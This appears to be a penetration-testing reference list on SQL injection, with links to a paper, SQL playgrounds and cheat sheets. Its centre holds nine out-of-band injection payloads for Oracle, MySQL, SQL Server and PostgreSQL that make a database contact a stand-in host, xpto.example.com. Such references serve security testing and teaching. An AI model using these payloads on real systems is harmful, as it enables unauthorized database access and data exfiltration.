How to: SQLi (SQL Injection)<a name="sqli-sql-injection_manual"></a>
https://arxiv.org/abs/1303.3047
# This paper describes an advanced SQL injection technique where DNS resolution process is exploited for retrieval of malicious SQL query results.

https://livesql.oracle.com
# Learn and share SQL. Running on Oracle Database 19c.

https://www.db-fiddle.com
# An online SQL database playground for testing, debugging and sharing SQL snippets.

http://sqlfiddle.com/
# Application for testing and sharing SQL queries.
# Oracle
```'||(SELECT%20UTL_INADDR.GET_HOST_ADDRESS('xpto.example.com'))||'```
```'||(SELECT%20UTL_HTTP.REQUEST('http://xpto.example.com')%20FROM%20DUAL)||'```
```'||(SELECT%20HTTPURITYPE('http://xpto.example.com').GETCLOB()%20FROM%20DUAL)||'```
```'||(SELECT%20DBMS_LDAP.INIT(('xpto.example.com',80)%20FROM%20DUAL)||'```
# MySQL
```'||(SELECT%20LOAD_FILE('\\xpto.example.com'))||'```
# Microsoft SQL Server
```'+;EXEC('master..xp_dirtree"\\xpto.example.com\"');+'```
```'+;EXEC('master..xp_fileexist"\\xpto.example.com\"');+'```
```'+;EXEC('master..xp_subdirs"\\xpto.example.com\"');+'```
# PostgreSQL
```'||;COPY%20users(names)%20FROM%20'\\xpto.example.com\';||'```

https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet
# This repository contains a advanced methodology of all types of SQL Injection.

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
# This SQL injection cheat sheet is an updated version of a 2007 post by Ferruh Mavituna on his personal blog. Currently this SQL injection cheat sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parentheses, different code bases and unexpected, strange and complex SQL sentences.

https://www.websec.ca/kb/sql_injection
# The SQL Injection Knowledge Base

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
# Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL injection vulnerability.